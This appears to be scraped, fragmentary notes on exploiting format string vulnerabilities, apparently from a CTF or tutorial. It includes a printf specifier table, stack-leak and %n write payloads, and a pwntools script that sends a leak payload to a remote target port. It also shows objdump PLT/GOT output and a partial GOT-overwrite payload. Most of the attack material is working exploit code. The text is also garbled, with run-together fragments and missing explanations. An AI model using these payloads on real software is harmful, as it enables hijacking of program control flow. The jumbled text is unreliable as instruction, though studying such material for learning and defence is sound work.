|Parameters |Type |Passed as |-----------------|-------------------------------------------|-----------| %d decimal (int) value %u unsigned decimal (unsigned int) value %x hexadecimal (unsigned int) value %p hexadecimal (unsigned int), nice layout value %s string ((const) (unsigned) char) reference %n write the number of bytes ypu put in, (int) reference
%42$s
%42$s
%31337x
%x
for every value that should be read from the stack. These are the next values at lower addresses, directly under the print format function%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
%llx
%2$s
%p
%42$p
from pwn import *
#p = process('./vuln')
p = remote(target_ip, 9006)
payload = b'%14$p||||'
payload += p32(0x8048000)
p.sendline(payload)
log.info(p.clean())
%n
PTR
from PLT to GOTobjdump -Mintel -d <binary>
[...]
0000000000401060 <printf@plt>:
401060: ff 25 ca 2f 00 00 jmp QWORD PTR [rip+0x2fca] # 404030 <printf@GLIBC_2.2.5>
401066: 68 03 00 00 00 push 0x3
40106b: e9 b0 ff ff ff jmp 401020 <_init+0x20>
[...]
PTR
derefences 0x404030PTR
to GOT through the buffer, so it will execute. The address which should be written is 0x40123b
%64c%6$n<restof address - 67>c %13$hn
64c
is 0x40
, rest of address - bytes already + 2 bytes alignmentAAAA
and look out where it is placed on the stackAAAA%6$p